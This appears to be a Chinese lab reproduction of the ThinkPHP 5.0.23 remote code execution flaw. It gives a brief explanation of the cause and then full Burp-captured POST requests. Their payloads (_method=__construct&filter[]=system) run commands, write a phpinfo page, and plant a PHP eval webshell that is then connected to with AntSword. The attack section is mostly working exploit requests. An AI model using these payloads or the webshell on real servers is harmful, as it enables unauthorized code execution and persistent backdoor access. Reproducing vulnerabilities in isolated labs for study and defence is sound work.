1.漏洞介绍
形成原因是因为其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
2.漏洞复现
1>.启动镜像环境
访问8080端口的本机地址
2>.bp抓包修改post请求,传递参数
poc
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
尝试写入phpinfo
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > info.php
响应包状态码为500,但是可以访问页面
写入一句话木马
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST[1]); ?>' > shell.php
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST[1]); ?>' > shell.php
用蚁剑连接
这样thinkphp 5.0.23-rce漏洞就复现完成了